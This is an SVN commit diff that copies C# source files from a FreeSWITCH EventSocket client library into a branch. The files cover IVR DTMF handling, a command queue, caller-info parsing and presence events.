--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/IvrInterface.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/IvrInterface.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,299 @@
+using System;
+using System.Threading;
+using FreeSwitch.EventSocket.Commands;
+
+namespace FreeSwitch.EventSocket.Ivr
+{
+    public class IvrInterface
+    {
+        public const string AllDigits = "*#0123456789";
+        private readonly string _uuid;
+        private string _baseSoundPath = "sounds\\";
+        private string _dtmf = string.Empty;
+        private EventManager _mgr;
+        public event DtmfHandler DtmfReceived;
+        private int _dtmfWaitCount = 0;
+        private bool _abortSpeechOnDtmf;
+        private bool _answered;
+        private IvrInterfaceHandler _handler = null;
+        private string _lastAbortDigits = "*";
+        private int _defaultTimeout = 10000;
+        private readonly ManualResetEvent _dtmfTimeout = new ManualResetEvent(false);
+        private IvrQueue _queue;
+
+
+        public IvrInterface(EventManager mgr, string uuid)
+        {
+            if (mgr == null)
+                throw new ArgumentNullException("mgr");
+            if (string.IsNullOrEmpty(uuid))
+                throw new ArgumentNullException("uuid");
+
+            _queue = new IvrQueue(mgr);
+            _mgr = mgr;
+            mgr.EventReceived += OnEvent;
+            _uuid = uuid;
+
+            mgr.Send(new ParkCmd(uuid));
+        }
+
+        public IAsyncResult BeginInvoke(IvrInterfaceHandler handler, AsyncCallback callback, object state)
+        {
+            _handler = handler;
+            return handler.BeginInvoke(this, callback, state);
+        }
+
+        public void EndInvoke(IAsyncResult result)
+        {
+            if (_handler != null)
+                _handler.EndInvoke(result);
+        }
+
+        /// <summary>
+        /// dont play phrases as long as we have DTMF in the buffer.
+        /// </summary>
+        public bool AbortSpeechOnDtmf
+        {
+            get { return _abortSpeechOnDtmf; }
+            set { _abortSpeechOnDtmf = value; }
+        }
+
+        /// <summary>
+        /// True if IVR call have been answered.
+        /// </summary>
+        public bool Answered
+        {
+            get { return _answered; }
+        }
+
+        /// <summary>
+        /// Number of seconds to wait on DTMF
+        /// </summary>
+        public int DefaultTimeout
+        {
+            get { return _defaultTimeout; }
+            set { _defaultTimeout = value; }
+        }
+
+        /// <summary>
+        /// Relative path under FreeSWITCH to where the sound files resides
+        /// </summary>
+        /// <remarks>default is "sounds\"</remarks>
+        public string BaseSoundPath
+        {
+            get { return _baseSoundPath; }
+            set { _baseSoundPath = value; }
+        }
+
+        private void OnEvent(EventBase receivedEvent)
+        {
+            if (!receivedEvent.IsChannelEvent)
+                return;
+
+            ChannelEvent channelEvent = (ChannelEvent) receivedEvent;
+            if (channelEvent.UniqueId != _uuid)
+                return;
+
+            if (receivedEvent is EventChannelAnswer)
+            {
+                _answered = true;
+            }
+            else if (receivedEvent is EventDtmf)
+            {
+                EventDtmf evt = (EventDtmf) receivedEvent;
+                Console.WriteLine("DTMF Event: " + evt.Digit);
+                if (_queue.GotDtmf(evt.Digit))
+                {
+                    lock (_dtmf)
+                        _dtmf += evt.Digit;
+
+                    if (_dtmfWaitCount != 0 && _dtmf.Length >= _dtmfWaitCount)
+                    {
+                        Console.WriteLine("Got all DTMF: " + _dtmfWaitCount + "/" + _dtmf.Length);
+                        _dtmfTimeout.Set();
+                    }
+
+                    if (DtmfReceived != null)
+                        DtmfReceived(this, new DtmfEventArgs(_dtmf));
+                }
+            }
+            else if (receivedEvent is EventChannelDestroy || receivedEvent is EventChannelHangup)
+            {
+                if (_mgr != null)
+                {
+                    _mgr.EventReceived -= OnEvent;
+                    _mgr = null;
+                }
+            }
+            else if (receivedEvent is EventChannelExecute)
+            {
+                EventChannelExecute exec = (EventChannelExecute)receivedEvent;
+                _queue.Execute(exec);
+            }
+            else if (receivedEvent is EventChannelExecuteComplete)
+            {
+                EventChannelExecuteComplete exec = (EventChannelExecuteComplete)receivedEvent;
+                _queue.ExecuteComplete(exec);
+            }
+        }
+
+        /// <summary>
+        /// Wait on dtmf.
+        /// </summary>
+        /// <param name="count">Number of digits to get</param>
+        /// <param name="timeout">number of seconds to wait on all digits.</param>
+        /// <remarks>You can also used the Dtmf event if you want to use asynchrounous programming.</remarks>
+        /// <seealso cref="DtmfReceived"/>
+        public string GetDtmf(int count, int timeout)
+        {
+            if (_mgr == null)
+                return string.Empty;
+
+            lock (_dtmf)
+            {
+                if (_dtmfWaitCount > 0)
+                    throw new InvalidOperationException("Already waiting on an event.");
+                _dtmfWaitCount = 1;
+                _dtmfTimeout.Reset();
+            }
+
+            if (_dtmf.Length < count)
+            {
+                if (_queue.CommandRunning)
+                        _queue.Add(new PrivateWaitDtmf(OnDtmfTimeout, timeout));
+
+                _dtmfWaitCount = count - _dtmf.Length;
+                if (!_dtmfTimeout.WaitOne(timeout, true))
+                {
+                    Console.WriteLine("Didn't get any DTMF: " + _dtmf);
+                    _dtmf = string.Empty;
+                    _dtmfWaitCount = 0;
+                    return string.Empty;
+                }
+            }
+
+            lock (_dtmf)
+            {
+                if (_dtmf.Length >= count)
+                {
+                    string dtmf = _dtmf.Substring(0, count);
+                    if (_dtmf.Length == count)
+                        _dtmf = string.Empty;
+                    else
+                        _dtmf = _dtmf.Remove(count);
+                    _dtmfWaitCount = 0;
+                    return dtmf;
+                }
+            }
+
+            _dtmfWaitCount = 0;
+            return string.Empty;
+        }
+
+        private void OnDtmfTimeout(PrivateWaitDtmf dtmf)
+        {
+            dtmf.Dispose();
+            _dtmfTimeout.Set();
+        }
+
+        /// <summary>
+        /// Wait on dtmf.
+        /// </summary>
+        /// <param name="count">Number of digits to get</param>
+        /// <remarks>You can also used the Dtmf event if you want to use asynchrounous programming.</remarks>
+        /// <seealso cref="DtmfReceived"/>
+        /// <seealso cref="DefaultTimeout"/>
+        public string GetDtmf(int count)
+        {
+            return GetDtmf(count, _defaultTimeout);
+        }
+
+        /// <summary>
+        /// Play a sound file
+        /// </summary>
+        /// <param name="path">Path to sound file.</param>
+        /// <seealso cref="AllDigits"/>
+        /// <remarks>Prepends <see cref="BaseSoundPath"/> to path.</remarks>
+        public void Play(string path)
+        {
+            Play(path, AllDigits);
+        }
+
+        /// <summary>
+        /// Play a sound file
+        /// </summary>
+        /// <param name="path">Path to sound file.</param>
+        /// <param name="digitsToAbortOn">DTMF digits that can abort speech.</param>
+        /// <remarks>Prepends <see cref="BaseSoundPath"/> to path.</remarks>
+        public void Play(string path, string digitsToAbortOn)
+        {
+            if (_mgr == null)
+                return;
+
+            if (_abortSpeechOnDtmf && _dtmf != string.Empty)
+                return;
+
+            if (digitsToAbortOn != _lastAbortDigits)
+            {
+                _mgr.Send(new SetVariable(_uuid, "playback_terminators", digitsToAbortOn));
+                _lastAbortDigits = digitsToAbortOn;
+            }
+
+            _queue.Add(new PlaybackCmd(_uuid, GetSoundPath(path, false), digitsToAbortOn));
+        }
+
+
+
+        /// <summary>
+        /// Record a sound file
+        /// </summary>
+        /// <param name="path">Where to store the sound</param>
+        /// <param name="limit">Maximum number of seconds that can be recorded.</param>
+        /// <param name="stop">stop an ongoing recording</param>
+        public void Record(string path, int limit, bool stop)
+        {
+            if (_mgr == null)
+                return;
+
+            _queue.Add(new RecordCmd(_uuid, GetSoundPath(path, true), stop, limit));
+        }
+
+        /// <summary>
+        /// Record a sound file
+        /// </summary>
+        /// <param name="path">Where to store the sound</param>
+        /// <param name="limit">Maximum number of seconds that can be recorded.</param>
+        public void Record(string path, int limit)
+        {
+            Record(path, limit, false);
+        }
+
+        /// <summary>
+        /// This method can be used to build paths for different languages and such.
+        /// </summary>
+        /// <param name="fileName">soundfile</param>
+        /// <param name="isRecording">path is to a file being recorded</param>
+        /// <returns>Path to sound file</returns>
+        protected virtual string GetSoundPath(string fileName, bool isRecording)
+        {
+            return BaseSoundPath + fileName;
+        }
+
+        /// <summary>
+        /// Tell script to sleep for a while.
+        /// </summary>
+        /// <param name="ms">number of milliseconds</param>
+        public void Sleep(int ms)
+        {
+            if (_mgr == null)
+                return;
+
+            _queue.Add(new SleepCmd(_uuid, ms));
+        }
+
+
+    }
+
+
+    public delegate void IvrInterfaceHandler(IvrInterface app);
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/IvrQueue.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/IvrQueue.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/IvrQueue.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/IvrQueue.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/IvrQueue.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,159 @@
+using System;
+using System.Collections.Generic;
+using FreeSwitch.EventSocket.Commands;
+
+namespace FreeSwitch.EventSocket.Ivr
+{
+    internal class IvrQueue
+    {
+        private readonly Queue<CmdBase> _items = new Queue<CmdBase>();
+        private readonly EventManager _mgr;
+        private CmdBase _currentCommand;
+
+        public IvrQueue(EventManager mgr)
+        {
+            if (mgr == null)
+                throw new ArgumentNullException("mgr");
+
+            _mgr = mgr;
+        }
+
+        public bool CommandRunning
+        {
+            get { return _currentCommand != null; }
+        }
+
+        public void Add(CmdBase cmd)
+        {
+            lock (_items)
+                _items.Enqueue(cmd);
+        }
+
+        public void Execute(EventChannelExecute evt)
+        {
+        }
+
+        public void ExecuteComplete(EventChannelExecuteComplete evt)
+        {
+            Console.WriteLine(evt.AppName + "(" + evt.Arguments + ") is done.");
+
+            if (_currentCommand != null && evt.AppName != _currentCommand.Command)
+            {
+                Console.WriteLine("Executed something that is not ours: " + _currentCommand.Command);
+                return;
+            }
+
+            // run next command
+            lock (_items)
+            {
+                _currentCommand = null;
+
+                if (_items.Count > 0)
+                {
+                    // check if next cmd is waiting on dtmf, then trigger it to start.
+                    if (_items.Peek().Command == "privdtmf")
+                        ((PrivateWaitDtmf) _items.Peek()).Trigger();
+
+                    SendNextCommand();
+                }
+            }
+        }
+
+        /// <summary>
+        /// a DTMF was pressed. Validate it towards the queue
+        /// </summary>
+        /// <param name="digit"></param>
+        /// <returns>true if it can be processed, false if not.</returns>
+        public bool GotDtmf(char digit)
+        {
+            bool isValid = true;
+
+            lock (_items)
+            {
+                // dequeue all play commands if correct digit is pressed.
+                while (_items.Count > 0)
+                {
+                    if (_items.Peek().GetType() == typeof (SetVariable))
+                    {
+                        Console.WriteLine("Is SetVariable");
+                        SetVariable var = (SetVariable) _items.Peek();
+                        string digits = string.Empty;
+                        digits += digit;
+                        if (var.Name == "playback_terminators" )
+                        {
+                            if (var.Value.Contains(digits))
+                            {
+                                _items.Dequeue();
+                                if (_items.Count > 0 && _items.Peek().GetType() == typeof(PlaybackCmd))
+                                    _items.Dequeue();
+                            }
+                            else
+                                isValid = false; //digit was not one of the terminators. skip it.
+                        }
+                    }
+                    else if (_items.Peek().GetType() == typeof(PlaybackCmd))
+                    {
+                        Console.WriteLine("Is PlaybackCmd");
+                        PlaybackCmd cmd = (PlaybackCmd)_items.Peek();
+                        string digits = string.Empty;
+                        digits += digit;
+                        if (cmd.DtmfAbort.Contains(digits))
+                            _items.Dequeue();
+                        else
+                        {
+                            isValid = false; //digit was not one of the terminators, skip it.
+                            break;
+                        }
+                    }
+                    else
+                        break;
+                }
+
+                // and dequeue the dtmf command.
+                if (_items.Count > 0 && _items.Peek().GetType() == typeof(PrivateWaitDtmf))
+                    ((PrivateWaitDtmf) _items.Dequeue()).Dispose();
+            }
+
+            return isValid;
+        }
+
+        private static void OnCommandReply(CmdBase command, CommandReply reply)
+        {
+            command.ReplyReceived -= OnCommandReply;
+            if (!reply.Success)
+            {
+                Console.WriteLine("Command failed: " + reply.ErrorMessage);
+            }
+        }
+
+        public CmdBase Peek()
+        {
+            lock (_items)
+            {
+                return _items.Peek();
+            }
+        }
+
+        public CmdBase Pop()
+        {
+            lock (_items)
+            {
+                return _items.Dequeue();
+            }
+        }
+
+        private void SendNextCommand()
+        {
+            lock (_items)
+            {
+                if (_currentCommand != null)
+                    throw new InvalidOperationException("A command is already running.");
+
+                _currentCommand = _items.Dequeue();
+            }
+
+            _currentCommand.ReplyReceived += OnCommandReply;
+            _mgr.Send(_currentCommand);
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/PrivateWaitDtmf.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/PrivateWaitDtmf.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/PrivateWaitDtmf.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/PrivateWaitDtmf.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/PrivateWaitDtmf.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,70 @@
+using System;
+using System.Threading;
+using FreeSwitch.EventSocket.Commands;
+
+namespace FreeSwitch.EventSocket.Ivr
+{
+    internal delegate void DtmfTimeoutHandler(PrivateWaitDtmf dtmf);
+
+    internal class PrivateWaitDtmf : CmdBase, IDisposable
+    {
+        private Timer _timer;
+        private readonly int _waitTime;
+        private readonly DtmfTimeoutHandler _handler;
+        
+        /// <summary>
+        /// DTMF timeouts should be counted AFTER a phrase has been said.
+        /// this small command allows us to start the timer when so.
+        /// </summary>
+        /// <param name="handler">Method that will be signalled when the DTMF command goes on timeout.</param>
+        /// <param name="time">Number of seconds to wait on input.</param>
+        public PrivateWaitDtmf(DtmfTimeoutHandler handler, int time)
+        {
+            if (handler == null)
+                throw new ArgumentNullException("handler");
+            if (time == 0)
+                throw new ArgumentException("time cannot be 0.", "time");
+            if (time < 100)
+                time *= 1000;
+            _waitTime = time;
+            _handler = handler;
+        }
+
+        public override string Command
+        {
+            get { return "privdtmf"; }
+        }
+
+        public override string Arguments
+        {
+            get { return _waitTime.ToString(); }
+        }
+
+        public void Trigger()
+        {
+            _timer = new Timer(OnTimeout, null, _waitTime, Timeout.Infinite);
+        }
+
+        private void OnTimeout(object state)
+        {
+            _timer.Dispose();
+            _timer = null;
+            _handler(this);
+        }
+
+        #region IDisposable Members
+
+        ///<summary>
+        ///Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
+        ///</summary>
+        ///<filterpriority>2</filterpriority>
+        public void Dispose()
+        {
+            if (_timer != null)
+                _timer.Dispose();
+            _timer = null;
+        }
+
+        #endregion
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/LogWriterHandler.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/LogWriterHandler.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/LogWriterHandler.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/LogWriterHandler.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/LogWriterHandler.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+namespace FreeSwitch.EventSocket
+{
+    /// <summary>
+    /// Determines how important the log message is.
+    /// </summary>
+    public enum LogPrio
+    {
+        /// <summary>
+        /// Not important at all, used to follow the flow of the program
+        /// </summary>
+        Trace,
+
+        /// <summary>
+        /// Messages useful when debugging
+        /// </summary>
+        Debug,
+
+        /// <summary>
+        /// States etc have changed.
+        /// </summary>
+        Info,
+
+        /// <summary>
+        /// Something did not go as we expected, but we can handle it.
+        /// </summary>
+        Warning,
+
+        /// <summary>
+        /// Something went wrong, we can't really handle it, but the program can continue to live
+        /// </summary>
+        Error,
+
+        /// <summary>
+        /// Some went really wrong, and the program should really be shut down.
+        /// </summary>
+        Fatal
+    }
+
+    /// <summary>
+    /// Used to retreive logging messages from the event socket framework.
+    /// </summary>
+    /// <param name="prio">importance of the log message</param>
+    /// <param name="message">the message</param>
+    public delegate void LogWriterHandler(LogPrio prio, string message);
+
+    /// <summary>
+    /// Used as default logwriter
+    /// </summary>
+    internal class NullWriter
+    {
+        /// <summary>
+        /// Used to log to void.
+        /// </summary>
+        /// <param name="prio"></param>
+        /// <param name="message"></param>
+        public static void Write(LogPrio prio, string message)
+        {}
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/PartyInfo.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/PartyInfo.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/PartyInfo.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/PartyInfo.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/PartyInfo.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,153 @@
+namespace FreeSwitch.EventSocket
+{
+    public class PartyInfo
+    {
+        public static PartyInfo Empty = new PartyInfo();
+        private string _userName = string.Empty;
+        private string m_dialplan = string.Empty;
+        private string m_callerIdName = string.Empty;
+        private string m_callerIdNumber = string.Empty;
+        private string m_destinationNumber = string.Empty;
+        private string m_uniqueId = string.Empty;
+        private string m_source = string.Empty;
+        private string m_context = string.Empty;
+        private string _channelName = string.Empty;
+        private bool m_screenBit;
+        private bool m_privacyHideName;
+        private bool m_privacyHideNumber;
+
+        public PartyInfo()
+        {
+            _userName = string.Empty;
+            m_dialplan = string.Empty;
+            m_callerIdName = string.Empty;
+        }
+
+        public string Dialplan
+        {
+            get { return m_dialplan; }
+            set { m_dialplan = value; }
+        }
+
+        public string CallerIdName
+        {
+            get { return m_callerIdName; }
+            set { m_callerIdName = value; }
+        }
+
+        public string CallerIdNumber
+        {
+            get { return m_callerIdNumber; }
+            set { m_callerIdNumber = value; }
+        }
+
+        public string DestinationNumber
+        {
+            get { return m_destinationNumber; }
+            set { m_destinationNumber = value; }
+        }
+
+        public string UniqueId
+        {
+            get { return m_uniqueId; }
+            set { m_uniqueId = value; }
+        }
+
+        public string Source
+        {
+            get { return m_source; }
+            set { m_source = value; }
+        }
+
+        public string Context
+        {
+            get { return m_context; }
+            set { m_context = value; }
+        }
+
+        public string ChannelName
+        {
+            get { return _channelName; }
+            set { _channelName = value; }
+        }
+
+        public bool ScreenBit
+        {
+            get { return m_screenBit; }
+            set { m_screenBit = value; }
+        }
+
+        public bool PrivacyHideName
+        {
+            get { return m_privacyHideName; }
+            set { m_privacyHideName = value; }
+        }
+
+        public bool PrivacyHideNumber
+        {
+            get { return m_privacyHideNumber; }
+            set { m_privacyHideNumber = value; }
+        }
+
+        public string UserName
+        {
+            get { return _userName; }
+            set { _userName = value; }
+        }
+
+        public bool Parse(string name, string value)
+        {
+            switch (name)
+            {
+                case "username":
+                    _userName = value;
+                    break;
+                case "dialplan":
+                    Dialplan = value;
+                    break;
+                case "caller-id-name":
+                    CallerIdName = value;
+                    break;
+                case "caller-id-number":
+                    CallerIdNumber = value;
+                    break;
+                case "destination-number":
+                    DestinationNumber = value;
+                    break;
+                case "unique-id":
+                    UniqueId = value;
+                    break;
+                case "source":
+                    Source = value;
+                    break;
+                case "context":
+                    Context = value;
+                    break;
+                case "channel-name":
+                    ChannelName = value;
+                    break;
+                case "screen-bit":
+                    ScreenBit = value == "yes";
+                    break;
+                case "privacy-hide-name":
+                    PrivacyHideName = value == "yes";
+                    break;
+                case "privacy-hide-number":
+                    PrivacyHideNumber = value == "yes";
+                    break;
+                default:
+                    return false;
+            }
+
+            return true;
+
+        }
+
+        public override string ToString()
+        {
+            return _channelName + "(" + CallerIdName + "/" + CallerIdNumber + ") id: "+UniqueId+", destination: " + DestinationNumber;
+            
+        }
+
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/PlainEventMsg.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/PlainEventMsg.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/PlainEventMsg.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/PlainEventMsg.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/PlainEventMsg.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,79 @@
+using System;
+using System.Collections.Specialized;
+
+namespace FreeSwitch.EventSocket
+{
+    public class PlainEventMsg
+    {
+        private string _contentType = string.Empty;
+        private int _contentLength = -1;
+        private string _body = string.Empty;
+
+        public string ContentType
+        {
+            get { return _contentType; }
+            set { _contentType = value; }
+        }
+
+        public int ContentLength
+        {
+            get { return _contentLength; }
+            set { _contentLength = value; }
+        }
+
+        public string Body
+        {
+            get { return _body; }
+            set { _body = value; }
+        }
+
+        public bool ValidateHeader()
+        {
+            if (_contentType == string.Empty)
+                return false;
+            if (_contentType == "command/reply")
+                return _body != string.Empty;
+
+            return true;
+        }
+
+        public bool Validate()
+        {
+            if (!ValidateHeader())
+                return false;
+
+            if (_contentLength > 0)
+                return _contentLength == _body.Length || _contentLength == _body.Length + 2; // include first and last line breaks that we skip in parsing
+
+            return true;
+        }
+
+
+        public NameValueCollection ParseBody(bool urlDecodeValues)
+        {
+            NameValueCollection items = new NameValueCollection();
+            StringParser parser = new StringParser(_body);
+            string name = parser.Read(':', true);
+            while (!parser.EOF && name != string.Empty)
+            {
+                string value = parser.ReadLine(true);
+                if (items[name] == null)
+                {
+                    try
+                    {
+                        items.Add(name.ToLower(), Uri.UnescapeDataString(value));
+                    }
+                    catch (UriFormatException)
+                    {
+                        // add the value unformatted
+                        items.Add(name.ToLower(), value);
+                    }
+                }
+
+                name = parser.Read(':', true);
+            }
+
+            return items;
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Program.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Program.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Program.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Program.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Program.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,43 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+using FreeSwitch.EventSocket;
+
+namespace FreeSwitch.EventSocket
+{
+    class Program
+    {
+        /// <summary>
+        /// This method is called by the event delegate.
+        /// </summary>
+        /// <param name="eb">Reference to an event, each event has their own class.</param>
+        void HandleEvent(EventBase eb)
+        {
+            //Console.WriteLine(eb.DateLocal + "  Got Event: " + eb.Name);
+
+
+            if (eb is EventChannelHangup)
+                Console.WriteLine(eb.DateLocal + " Hangup reason: " + ((EventChannelHangup)eb).Cause.ToString());
+        }
+
+        static void Main(string[] args)
+        {
+            Program p = new Program();
+
+            /// Create a new FreeSwitch event socket.
+            EventManager eventManager = new EventManager(null);
+
+            // Hook all events to the same delegate. Can also provide one delegate per event.
+            eventManager.EventReceived += p.HandleEvent;
+            eventManager.Subscribe(new Events(Event.All));
+
+            // Connect to localhost
+            eventManager.Start("localhost");
+
+            
+            System.Threading.Thread.Sleep(1000000);
+            
+            //a.
+        }
+    }
+}

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Properties (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Properties)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Properties/AssemblyInfo.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Properties/AssemblyInfo.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Properties/AssemblyInfo.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Properties/AssemblyInfo.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Properties/AssemblyInfo.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following 
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("FreeSwitch.EventSocket")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("FreeSwitch.EventSocket")]
+[assembly: AssemblyCopyright("Copyright ©  2007")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible 
+// to COM components.  If you need to access a type in this assembly from 
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("db16a54e-3305-4b56-92a1-70cc95179bc6")]
+
+// Version information for an assembly consists of the following four values:
+//
+//      Major Version
+//      Minor Version 
+//      Build Number
+//      Revision
+//
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresence.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresence.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresence.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresence.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresence.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,109 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventPresence : SipEvent
+    {
+        private PartyInfo _caller;
+        private string _rpid = string.Empty;
+        private string _status = string.Empty;
+        //private string _callId; // not "presencein/register", "presenceout/register"
+        //private string _contact; // not "presencein/register", "presenceout/register"
+        //private string _expires; //not "presencein/register", "presenceout/register"
+        private string _eventType = string.Empty;
+        private string _login = string.Empty;
+        private EventChannelState _channelState = new EventChannelState();
+
+        public string Login
+        {
+            get { return _login; }
+            set { _login = value; }
+        }
+
+        /// <summary>
+        /// "Click to call", "Registered", "unavailable", "Active (%d waiting)", "Idle"
+        /// </summary>
+        public string Status
+        {
+            get { return _status; }
+            set { _status = value; }
+        }
+
+        public string Rpid
+        {
+            get { return _rpid; }
+            set { _rpid = value; }
+        }
+
+        /// <summary>
+        /// Caller is only specified on state CS_ROUTING
+        /// and not on CS_HANGUP
+        /// </summary>
+        public PartyInfo Caller
+        {
+            get { return _caller; }
+            set { _caller = value; }
+        }
+
+        /// <summary>
+        /// presence, 
+        /// </summary>
+        public string PresenceEventType
+        {
+            get { return _eventType; }
+            set { _eventType = value; }
+        }
+
+        /// <summary>
+        /// We *may* have channel state info
+        /// </summary>
+        public EventChannelState ChannelState
+        {
+            get { return _channelState; }
+            set { _channelState = value; }
+        }
+
+
+        /*
+        proto: sip
+        login: sip%3Amod_sofia%40192.168.0.58%3A5070
+        rpid: unknown
+        from: gauffin%40gauffin.com
+        status: Registered
+         * */
+        public override bool ParseCommand(string name, string value)
+        {
+            bool res = _channelState.ParseCommand(name, value);
+            switch (name)
+            {
+                case "status":
+                    _status = value;
+                    break;
+                case "rpid":
+                    _rpid = value;
+                    break;
+                case "login":
+                    _login = value;
+                    break;
+                case "event_type":
+                    _eventType = value;
+                    break;
+
+                default:
+
+                    if (name.Length > 7 && name.Substring(0, 7) == "caller-")
+                    {
+                        if (Caller == null)
+                            Caller = new PartyInfo();
+                        return Caller.Parse(name.Substring(7), value);
+                    }
+
+                    return base.ParseCommand(name, value) || res;
+            }
+            return true;
+        }
+
+        public override string ToString()
+        {
+            return "Presence(" + _login + ", " + _status + ")." + _channelState + "." + base.ToString();
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceIn.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceIn.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceIn.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceIn.cs	                        (rev 0)
